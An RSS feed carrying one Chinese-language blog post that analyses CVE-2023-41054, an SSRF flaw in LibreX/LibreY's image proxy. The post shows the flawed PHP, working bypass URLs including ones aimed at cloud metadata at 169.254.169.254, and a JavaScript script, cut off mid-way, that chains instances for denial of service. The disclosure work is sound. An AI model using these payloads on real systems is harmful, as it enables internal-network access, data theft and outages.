<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet type="text/xsl" href="/assets/rss-20b3285f.xsl"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>标签: url-parsing - ouuan's blog</title>
        <link>https://ouuan.moe/tag/url-parsing</link>
        <description>标签为 url-parsing 的文章 - ouuan 的博客</description>
        <lastBuildDate>Tue, 05 Sep 2023 16:11:15 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>zh-CN</language>
        <copyright>Copyright © 2022 - 2026 ouuan
Licensed under CC BY-SA 4.0</copyright>
        <atom:link href="https://ouuan.moe/tag/url-parsing/feed.xml" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[CVE-2023-41054 漏洞分析]]></title>
            <link>https://ouuan.moe/post/2023/09/cve-2023-41054</link>
            <guid>https://ouuan.moe/post/2023/09/cve-2023-41054</guid>
            <pubDate>Tue, 05 Sep 2023 16:11:15 GMT</pubDate>
            <description><![CDATA[<p><a href="https://github.com/hnhx/librex">LibreX</a>/<a href="https://github.com/Ahwxorg/LibreY">Y</a> 对 URL host 的错误解析导致了 SSRF 漏洞<span class="mojikumi-line-end">，</span>攻击者可以绕过对 host 的检查向任意 URL 发送 GET request 并获取 response body<span class="mojikumi-line-end">，</span>从而访问内网资源或进行 DoS 攻击<span class="mojikumi-line-end">。</span></p>
]]></description>
            <content:encoded><![CDATA[<p><a href="https://github.com/hnhx/librex">LibreX</a>/<a href="https://github.com/Ahwxorg/LibreY">Y</a> 对 URL host 的错误解析导致了 SSRF 漏洞<span class="mojikumi-line-end">，</span>攻击者可以绕过对 host 的检查向任意 URL 发送 GET request 并获取 response body<span class="mojikumi-line-end">，</span>从而访问内网资源或进行 DoS 攻击<span class="mojikumi-line-end">。</span></p>

<ul>
<li><a href="https://github.com/Ahwxorg/LibreY/security/advisories/GHSA-p4f9-h8x8-mpwf">LibreY Server-Side Request Forgery (SSRF) vulnerability in image_proxy.php · Advisory</a></li>
<li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-41054">CVE-2023-41054</a></li>
</ul>
<h2 id="代码分析" class="heading"><a href="#代码分析" class="heading-anchor" aria-label="章节： 代码分析" tabindex="-1"></a><span>代码分析</span></h2>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="PHP 代码块" data-v-c675dba6>PHP</h3><ile-root id="ile-1"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-1--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #403F53"> </span><span style="color: #111111">$url</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">$_REQUEST</span><span style="color: #403F53">[</span><span style="color: #111111">&quot;</span><span style="color: #C96765">url</span><span style="color: #111111">&quot;</span><span style="color: #403F53">]; </span></span>
<span><span style="color: #403F53"> </span><span style="color: #111111">$requested_root_domain</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">get_root_domain</span><span style="color: #403F53">($</span><span style="color: #111111">url</span><span style="color: #403F53">); </span></span>
<span><span style="color: #403F53">  </span></span>
<span><span style="color: #403F53"> </span><span style="color: #111111">$allowed_domains</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">array</span><span style="color: #403F53">(</span><span style="color: #111111">&quot;</span><span style="color: #C96765">qwant.com</span><span style="color: #111111">&quot;</span><span style="color: #403F53">, </span><span style="color: #111111">&quot;</span><span style="color: #C96765">wikimedia.org</span><span style="color: #111111">&quot;</span><span style="color: #403F53">, </span><span style="color: #4876D6">get_root_domain</span><span style="color: #403F53">($</span><span style="color: #111111">config</span><span style="color: #0C969B">-&gt;</span><span style="color: #111111">invidious_instance_for_video_results</span><span style="color: #403F53">)); </span></span>
<span><span style="color: #403F53">  </span></span>
<span><span style="color: #403F53"> </span><span style="color: #994CC3">if</span><span style="color: #403F53"> (</span><span style="color: #4876D6">in_array</span><span style="color: #403F53">($</span><span style="color: #111111">requested_root_domain</span><span style="color: #403F53">,</span><span style="color: #4876D6"> </span><span style="color: #403F53">$</span><span style="color: #111111">allowed_domains</span><span style="color: #403F53">)) </span></span>
<span><span style="color: #403F53"> { </span></span>
<span><span style="color: #403F53">   </span><span style="color: #111111">$image</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">$url</span><span style="color: #403F53">; </span></span>
<span><span style="color: #403F53">   </span><span style="color: #111111">$image_src</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">request</span><span style="color: #403F53">($</span><span style="color: #111111">image</span><span style="color: #403F53">); </span></span>
<span><span style="color: #403F53">  </span></span>
<span><span style="color: #403F53">   </span><span style="color: #4876D6">header</span><span style="color: #403F53">(</span><span style="color: #111111">&quot;</span><span style="color: #C96765">Content-Type: image/png</span><span style="color: #111111">&quot;</span><span style="color: #403F53">); </span></span>
<span><span style="color: #403F53">   </span><span style="color: #4876D6">echo</span><span style="color: #403F53"> </span><span style="color: #111111">$image_src</span><span style="color: #403F53">;</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #D6DEEB"> </span><span style="color: #BEC5D4">$url</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">$_REQUEST</span><span style="color: #D6DEEB">[</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">url</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">]; </span></span>
<span><span style="color: #D6DEEB"> </span><span style="color: #BEC5D4">$requested_root_domain</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">get_root_domain</span><span style="color: #D6DEEB">($</span><span style="color: #BEC5D4">url</span><span style="color: #D6DEEB">); </span></span>
<span><span style="color: #D6DEEB">  </span></span>
<span><span style="color: #D6DEEB"> </span><span style="color: #BEC5D4">$allowed_domains</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">array</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">qwant.com</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">, </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">wikimedia.org</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">, </span><span style="color: #82AAFF">get_root_domain</span><span style="color: #D6DEEB">($</span><span style="color: #BEC5D4">config</span><span style="color: #7FDBCA">-&gt;invidious_instance_for_video_results</span><span style="color: #D6DEEB">)); </span></span>
<span><span style="color: #D6DEEB">  </span></span>
<span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> (</span><span style="color: #C5E478">in_array</span><span style="color: #D6DEEB">($</span><span style="color: #BEC5D4">requested_root_domain</span><span style="color: #D6DEEB">,</span><span style="color: #82AAFF"> </span><span style="color: #D6DEEB">$</span><span style="color: #BEC5D4">allowed_domains</span><span style="color: #D6DEEB">)) </span></span>
<span><span style="color: #D6DEEB"> { </span></span>
<span><span style="color: #D6DEEB">   </span><span style="color: #BEC5D4">$image</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #BEC5D4">$url</span><span style="color: #D6DEEB">; </span></span>
<span><span style="color: #D6DEEB">   </span><span style="color: #BEC5D4">$image_src</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">request</span><span style="color: #D6DEEB">($</span><span style="color: #BEC5D4">image</span><span style="color: #D6DEEB">); </span></span>
<span><span style="color: #D6DEEB">  </span></span>
<span><span style="color: #D6DEEB">   </span><span style="color: #C5E478">header</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">Content-Type: image/png</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">); </span></span>
<span><span style="color: #D6DEEB">   </span><span style="color: #C5E478">echo</span><span style="color: #D6DEEB"> </span><span style="color: #BEC5D4">$image_src</span><span style="color: #D6DEEB">;</span></span></code></pre></div></section>
<p>这里检查了 proxy 到的目标 URL 域名在一个允许列表之中<span class="mojikumi-line-end">，</span>但是 <code>get_<wbr>root_<wbr>domain</code> 是一个自己写的函数<span class="mojikumi-line-end">：</span></p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="PHP 代码块" data-v-c675dba6>PHP</h3><ile-root id="ile-2"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-2--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #403F53"> </span><span style="color: #994CC3">function</span><span style="color: #403F53"> </span><span style="color: #4876D6">get_root_domain</span><span style="color: #111111">($url)</span><span style="color: #403F53"> { </span></span>
<span><span style="color: #403F53">     </span><span style="color: #111111">$split_url</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">explode</span><span style="color: #403F53">(</span><span style="color: #111111">&quot;</span><span style="color: #C96765">/</span><span style="color: #111111">&quot;</span><span style="color: #403F53">,</span><span style="color: #4876D6"> </span><span style="color: #403F53">$</span><span style="color: #111111">url</span><span style="color: #403F53">); </span></span>
<span><span style="color: #403F53">     </span><span style="color: #111111">$base_url</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">$split_url</span><span style="color: #403F53">[</span><span style="color: #AA0982">2</span><span style="color: #403F53">]; </span></span>
<span><span style="color: #403F53">  </span></span>
<span><span style="color: #403F53">     </span><span style="color: #111111">$base_url_main_split</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">explode</span><span style="color: #403F53">(</span><span style="color: #111111">&quot;</span><span style="color: #C96765">.</span><span style="color: #111111">&quot;</span><span style="color: #403F53">,</span><span style="color: #4876D6"> </span><span style="color: #4876D6">strrev</span><span style="color: #403F53">($</span><span style="color: #111111">base_url</span><span style="color: #403F53">)); </span></span>
<span><span style="color: #403F53">     </span><span style="color: #111111">$root_domain</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">strrev</span><span style="color: #403F53">($</span><span style="color: #111111">base_url_main_split</span><span style="color: #403F53">[</span><span style="color: #AA0982">1</span><span style="color: #403F53">]) </span><span style="color: #0C969B">.</span><span style="color: #403F53"> </span><span style="color: #111111">&quot;</span><span style="color: #C96765">.</span><span style="color: #111111">&quot;</span><span style="color: #403F53"> </span><span style="color: #0C969B">.</span><span style="color: #403F53"> </span><span style="color: #4876D6">strrev</span><span style="color: #403F53">($</span><span style="color: #111111">base_url_main_split</span><span style="color: #403F53">[</span><span style="color: #AA0982">0</span><span style="color: #403F53">]); </span></span>
<span><span style="color: #403F53">  </span></span>
<span><span style="color: #403F53">     </span><span style="color: #994CC3">return</span><span style="color: #403F53"> </span><span style="color: #111111">$root_domain</span><span style="color: #403F53">; </span></span>
<span><span style="color: #403F53"> }</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">function</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">get_root_domain</span><span style="color: #D9F5DD">(</span><span style="color: #BEC5D4">$url</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB"> { </span></span>
<span><span style="color: #D6DEEB">     </span><span style="color: #BEC5D4">$split_url</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">explode</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">/</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">,</span><span style="color: #82AAFF"> </span><span style="color: #D6DEEB">$</span><span style="color: #BEC5D4">url</span><span style="color: #D6DEEB">); </span></span>
<span><span style="color: #D6DEEB">     </span><span style="color: #BEC5D4">$base_url</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #BEC5D4">$split_url</span><span style="color: #D6DEEB">[</span><span style="color: #F78C6C">2</span><span style="color: #D6DEEB">]; </span></span>
<span><span style="color: #D6DEEB">  </span></span>
<span><span style="color: #D6DEEB">     </span><span style="color: #BEC5D4">$base_url_main_split</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">explode</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">.</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">,</span><span style="color: #82AAFF"> </span><span style="color: #C5E478">strrev</span><span style="color: #D6DEEB">($</span><span style="color: #BEC5D4">base_url</span><span style="color: #D6DEEB">)); </span></span>
<span><span style="color: #D6DEEB">     </span><span style="color: #BEC5D4">$root_domain</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">strrev</span><span style="color: #D6DEEB">($</span><span style="color: #BEC5D4">base_url_main_split</span><span style="color: #D6DEEB">[</span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">]) </span><span style="color: #7FDBCA">.</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">.</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB"> </span><span style="color: #7FDBCA">.</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">strrev</span><span style="color: #D6DEEB">($</span><span style="color: #BEC5D4">base_url_main_split</span><span style="color: #D6DEEB">[</span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">]); </span></span>
<span><span style="color: #D6DEEB">  </span></span>
<span><span style="color: #D6DEEB">     </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> </span><span style="color: #BEC5D4">$root_domain</span><span style="color: #D6DEEB">; </span></span>
<span><span style="color: #D6DEEB"> }</span></span></code></pre></div></section>
<p>这一看就非常灵车<span class="mojikumi-line-start">（</span><span class="mojikumi-line-end">，</span>它依赖于 URL 的标准形式<span class="mojikumi-line-end">，</span>即以 <code>http(s)://</code> 开头<span class="mojikumi-line-end">。</span>但是实际上 scheme 可以全部省略<span class="mojikumi-line-end">，</span>或者只留一个 slash 而非两个<span class="mojikumi-line-end">，</span>所以 <code>/<wbr>image_proxy<wbr>.<wbr>php<wbr>?<wbr>url<wbr>=<wbr>example<wbr>.<wbr>com<wbr>//<wbr>qwant<wbr>.<wbr>com<wbr>/../../</code> 或者 <code>/<wbr>image_proxy<wbr>.<wbr>php<wbr>?<wbr>url<wbr>=<wbr>https<wbr>:/<wbr>example<wbr>.<wbr>com<wbr>/<wbr>qwant<wbr>.<wbr>com<wbr>/../</code> 都可以通过这里的检查<span class="mojikumi-line-end">，</span>从而造成 SSRF<span class="mojikumi-line-end">。</span></p>
<h2 id="利用" class="heading"><a href="#利用" class="heading-anchor" aria-label="章节： 利用" tabindex="-1"></a><span>利用</span></h2>
<h3 id="访问内网资源" class="heading"><a href="#访问内网资源" class="heading-anchor" aria-label="章节： 访问内网资源" tabindex="-1"></a><span>访问内网资源</span></h3>
<p>如果实例部署在 VPS 上可能可以在 169.254.169.254 获取到一些 metadata: <code>/<wbr>image_proxy<wbr>.<wbr>php<wbr>?<wbr>url<wbr>=<wbr>169<wbr>.<wbr>254<wbr>.<wbr>169<wbr>.<wbr>254<wbr>//<wbr>qwant<wbr>.<wbr>com<wbr>/../../<wbr>latest<wbr>/</code> 或 <code>/<wbr>image_proxy<wbr>.<wbr>php<wbr>?<wbr>url<wbr>=<wbr>169<wbr>.<wbr>254<wbr>.<wbr>169<wbr>.<wbr>254<wbr>//<wbr>qwant<wbr>.<wbr>com<wbr>/../../<wbr>opc<wbr>/<wbr>v1<wbr>/<wbr>instance<wbr>/</code><span class="mojikumi-line-end">。</span></p>
<p>还可以对 localhost 做端口扫描<span class="mojikumi-line-end">、</span>对内网 IP 地址的常用端口进行扫描之类的<span class="mojikumi-line-end">。</span></p>
<p>默认配置中限制了 protocol 为 HTTP(S)<span class="mojikumi-line-end">，</span>所以无法访问本地文件之类的<span class="mojikumi-line-end">。</span></p>
<h3 id="获取源站-ip-地址" class="heading"><a href="#获取源站-ip-地址" class="heading-anchor" aria-label="章节： 获取源站 IP 地址" tabindex="-1"></a><span>获取源站 IP 地址</span></h3>
<p>如果用了 CDN<span class="mojikumi-line-end">，</span>服务器的地址可能是隐藏的<span class="mojikumi-line-end">。</span>可以向攻击者控制的服务器或 <a href="https://requestrepo.com/">https<wbr>://<wbr>requestrepo<wbr>.<wbr>com<wbr>/</a> 之类的发送请求来获得服务器的 IP 地址<span class="mojikumi-line-end">，</span>从而绕开 CDN 进行 DDoS 之类的攻击<span class="mojikumi-line-end">。</span></p>
<h3 id="dos" class="heading"><a href="#dos" class="heading-anchor" aria-label="章节： DoS" tabindex="-1"></a><span>DoS</span></h3>
<p>可以让服务器请求大文件来消耗服务器带宽<span class="mojikumi-line-start">（</span>攻击者不需要接收 response 从而不需要消耗带宽<span class="mojikumi">）</span><span class="mojikumi-line-end">，</span>但实际上一般下载到一半就超时中断了<span class="mojikumi-line-end">，</span>效果和下载一张较大的图片<span class="mojikumi-line-start">（</span>没有漏洞也能做到<span class="mojikumi-line-end">）</span>差不多<span class="mojikumi-line-end">。</span></p>
<p>但是通过任意 URL 的访问<span class="mojikumi-line-end">，</span>可以套娃<span class="mojikumi-line-end">，</span>例如 <code>http<wbr>://<wbr>librex<wbr>.<wbr>b<wbr>.<wbr>com<wbr>/<wbr>image_proxy<wbr>.<wbr>php<wbr>?<wbr>url<wbr>=<wbr>https<wbr>:/<wbr>librex<wbr>.<wbr>a<wbr>.<wbr>com<wbr>/<wbr>qwant<wbr>.<wbr>com<wbr>/..//<wbr>image_proxy<wbr>.<wbr>php<wbr>?<wbr>url<wbr>=<wbr>http<wbr>:/<wbr>librex<wbr>.<wbr>b<wbr>.<wbr>com<wbr>/<wbr>qwant<wbr>.<wbr>com<wbr>/..//<wbr>image_proxy<wbr>.<wbr>php<wbr>?<wbr>url<wbr>=<wbr>https<wbr>:/<wbr>librex<wbr>.<wbr>a<wbr>.<wbr>com<wbr>/<wbr>qwant<wbr>.<wbr>com<wbr>/..//<wbr>image_proxy<wbr>.<wbr>php<wbr>?<wbr>url<wbr>=<wbr>http<wbr>:/<wbr>speedtest<wbr>.<wbr>ftp<wbr>.<wbr>otenet<wbr>.<wbr>gr<wbr>/<wbr>qwant<wbr>.<wbr>com<wbr>/..//<wbr>files<wbr>/<wbr>test10Mb<wbr>.<wbr>db</code><span class="mojikumi-line-end">。</span></p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="JavaScript 代码块" data-v-c675dba6>JavaScript</h4><ile-root id="ile-3"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-3--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #994CC3">const </span><span style="color: #4876D6">INSTANCES</span><span style="color: #994CC3"> =</span><span style="color: #403F53"> [</span></span>
<span><span style="color: #403F53">  </span><span style="color: #111111">&#39;</span><span style="color: #C96765">https://librex.a.com/</span><span style="color: #111111">&#39;</span><span style="color: #403F53">,</span></span>
<span><span style="color: #403F53">  </span><span style="color: #111111">&#39;</span><span style="color: #C96765">https://librex.b.com/</span><span style="color: #111111">&#39;</span><span style="color: #403F53">,</span></span>
<span><span style="color: #403F53">  </span><span style="color: #111111">&#39;</span><span style="color: #C96765">https://librex.c.com/</span><span style="color: #111111">&#39;</span><span style="color: #403F53">,</span></span>
<span><span style="color: #403F53">];</span></span>
<span><span style="color: #994CC3">const </span><span style="color: #4876D6">FINAL_TARGET</span><span style="color: #994CC3"> = </span><span style="color: #111111">&#39;</span><span style="color: #C96765">http://speedtest.ftp.otenet.gr/files/test10Mb.db</span><span style="color: #111111">&#39;</span><span style="color: #403F53">;</span></span>
<span><span style="color: #994CC3">const </span><span style="color: #4876D6">NUMBER_OF_ROUNDS</span><span style="color: #994CC3"> = </span><span style="color: #AA0982">25</span><span style="color: #403F53">;</span></span>
<span><span style="color: #994CC3">const </span><span style="color: #4876D6">NUMBER_OF_REQUESTS</span><span style="color: #994CC3"> = </span><span style="color: #AA0982">1</span><span style="color: #403F53">;</span></span>
<span></span>
<span><span style="color: #994CC3">function</span><span style="color: #403F53"> </span><span style="color: #4876D6">manipulatedUrlParam</span><span style="color: #111111">(</span><span style="color: #403F53">url</span><span style="color: #111111">)</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">  </span><span style="color: #994CC3">const </span><span style="color: #4876D6">u</span><span style="color: #994CC3"> = </span><span style="color: #0C969B">new</span><span style="color: #994CC3"> </span><span style="color: #4876D6">URL</span><span style="color: #403F53">(url);</span></span>
<span><span style="color: #403F53">  </span><span style="color: #994CC3">return</span><span style="color: #403F53"> </span><span style="color: #403F53">`</span><span style="color: #D3423E">${</span><span style="color: #0C969B">u</span><span style="color: #994CC3">.</span><span style="color: #0C969B">protocol</span><span style="color: #D3423E">}</span><span style="color: #4876D6">/</span><span style="color: #D3423E">${</span><span style="color: #0C969B">u</span><span style="color: #994CC3">.</span><span style="color: #0C969B">host</span><span style="color: #D3423E">}</span><span style="color: #4876D6">/qwant.com/../</span><span style="color: #D3423E">${</span><span style="color: #0C969B">u</span><span style="color: #994CC3">.</span><span style="color: #0C969B">pathname</span><span style="color: #D3423E">}${</span><span style="color: #0C969B">u</span><span style="color: #994CC3">.</span><span style="color: #0C969B">search</span><span style="color: #D3423E">}</span><span style="color: #403F53">`</span><span style="color: #403F53">;</span></span>
<span><span style="color: #403F53">}</span></span>
<span></span>
<span><span style="color: #994CC3">function</span><span style="color: #403F53"> </span><span style="color: #4876D6">imageProxyUrl</span><span style="color: #111111">(</span><span style="color: #403F53">instance, target</span><span style="color: #111111">)</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">  </span><span style="color: #994CC3">const </span><span style="color: #4876D6">u</span><span style="color: #994CC3"> = </span><span style="color: #0C969B">new</span><span style="color: #994CC3"> </span><span style="color: #4876D6">URL</span><span style="color: #403F53">(</span><span style="color: #111111">&quot;</span><span style="color: #C96765">image_proxy.php</span><span style="color: #111111">&quot;</span><span style="color: #5F7E97">,</span><span style="color: #994CC3"> </span><span style="color: #403F53">instance);</span></span>
<span><span style="color: #403F53">  </span><span style="color: #0C969B">u</span><span style="color: #994CC3">.</span><span style="color: #0C969B">search</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">new</span><span style="color: #403F53"> </span><span style="color: #4876D6">URLSearchParams</span><span style="color: #403F53">({ url: </span><span style="color: #4876D6">manipulatedUrlParam</span><span style="color: #403F53">(target) });</span></span>
<span><span style="color: #403F53">  </span><span style="color: #939DBB">// u.search = `?url=${manipulatedUrlParam(target)}`;</span></span>
<span><span style="color: #403F53">  </span><span style="color: #994CC3">return</span><span style="color: #403F53"> </span><span style="color: #0C969B">u</span><span style="color: #994CC3">.</span><span style="color: #4876D6">toString</span><span style="color: #403F53">();</span></span>
<span><span style="color: #403F53">}</span></span>
<span></span>
<span><span style="color: #994CC3">let </span><span style="color: #403F53">chainedUrl</span><span style="color: #994CC3"> = </span><span style="color: #4876D6">FINAL_TARGET</span><span style="color: #403F53">;</span></span>
<span><span style="color: #994CC3">for</span><span style="color: #403F53"> (</span><span style="color: #994CC3">let </span><span style="color: #403F53">i</span><span style="color: #994CC3"> = </span><span style="color: #AA0982">0</span><span style="color: #403F53">; i </span><span style="color: #994CC3">&lt;</span><span style="color: #403F53"> </span><span style="color: #4876D6">NUMBER_OF_ROUNDS</span><span style="color: #403F53">; i </span><span style="color: #994CC3">+=</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span><span style="color: #403F53">) {</span></span>
<span><span style="color: #403F53">  chainedUrl </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">imageProxyUrl</span><span style="color: #403F53">(</span><span style="color: #4876D6">INSTANCES</span><span style="color: #403F53">[i </span><span style="color: #994CC3">%</span><span style="color: #403F53"> </span><span style="color: #4876D6">INSTANCES</span><span style="color: #994CC3">.</span><span style="color: #0C969B">length</span><span style="color: #403F53">], chainedUrl);</span></span>
<span><span style="color: #403F53">}</span></span>
<span><span style="color: #0C969B">console</span><span style="color: #994CC3">.</span><span style="color: #4876D6">log</span><span style="color: #403F53">(chainedUrl);</span></span>
<span></span>
<span><span style="color: #994CC3">for</span><span style="color: #403F53"> (</span><span style="color: #994CC3">let </span><span style="color: #403F53">i</span><span style="color: #994CC3"> = </span><span style="color: #AA0982">0</span><span style="color: #403F53">; i </span><span style="color: #994CC3">&lt;</span><span style="color: #403F53"> </span><span style="color: #4876D6">NUMBER_OF_REQUESTS</span><span style="color: #403F53">; i </span><span style="color: #994CC3">+=</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span><span style="color: #403F53">) {</span></span>
<span><span style="color: #403F53">  </span><span style="color: #0C969B">console</span><span style="color: #994CC3">.</span><span style="color: #4876D6">time</span><span style="color: #403F53">(</span><span style="color: #403F53">`</span><span style="color: #4876D6">fetch </span><span style="color: #D3423E">${</span><span style="color: #403F53">i</span><span style="color: #D3423E">}</span><span style="color: #403F53">`</span><span style="color: #403F53">);</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">fetch</span><span style="color: #403F53">(chainedUrl)</span><span style="color: #994CC3">.</span><span style="color: #4876D6">then</span><span style="color: #403F53">(</span><span style="color: #111111">(</span><span style="color: #403F53">res</span><span style="color: #111111">)</span><span style="color: #403F53"> </span><span style="color: #994CC3">=&gt;</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">    </span><span style="color: #0C969B">console</span><span style="color: #994CC3">.</span><span style="color: #4876D6">timeEnd</span><span style="color: #403F53">(</span><span style="color: #403F53">`</span><span style="color: #4876D6">fetch </span><span style="color: #D3423E">${</span><span style="color: #403F53">i</span><span style="color: #D3423E">}</span><span style="color: #403F53">`</span><span style="color: #403F53">);</span></span>
<span><span style="color: #403F53">    </span><span style="color: #0C969B">console</span><span style="color: #994CC3">.</span><span style="color: #4876D6">log</span><span style="color: #403F53">(</span><span style="color: #403F53">`</span><span style="color: #D3423E">${</span><span style="color: #0C969B">res</span><span style="color: #994CC3">.</span><span style="color: #0C969B">status</span><span style="color: #D3423E">}</span><span style="color: #4876D6">: </span><span style="color: #D3423E">${</span><span style="color: #0C969B">res</span><span style="color: #994CC3">.</span><span style="color: #0C969B">statusText</span><span style="color: #D3423E">}</span><span style="color: #403F53">`</span><span style="color: #403F53">);</span></span>
<span><span style="color: #403F53">    </span><span style="color: #0C969B">console</span><span style="color: #994CC3">.</span><span style="color: #4876D6">log</span><span style="color: #403F53">(</span><span style="color: #403F53">`</span><span style="color: #4876D6">Content-Type: </span><span style="color: #D3423E">${</span><span style="color: #0C969B">res</span><span style="color: #994CC3">.</span><span style="color: #111111">headers</span><span style="color: #994CC3">.</span><span style="color: #4876D6">get</span><span style="color: #403F53">(</span><span style="color: #403F53">&#39;</span><span style="color: #C96765">Content-Type</span><span style="color: #403F53">&#39;</span><span style="color: #403F53">)</span><span style="color: #D3423E">}</span><span style="color: #403F53">`</span><span style="color: #403F53">);</span></span>
<span><span style="color: #403F53">    </span><span style="color: #939DBB">// res.text().then((t) =&gt; console.log(`Body Length: ${t.length}`));</span></span>
<span><span style="color: #403F53">  });</span></span>
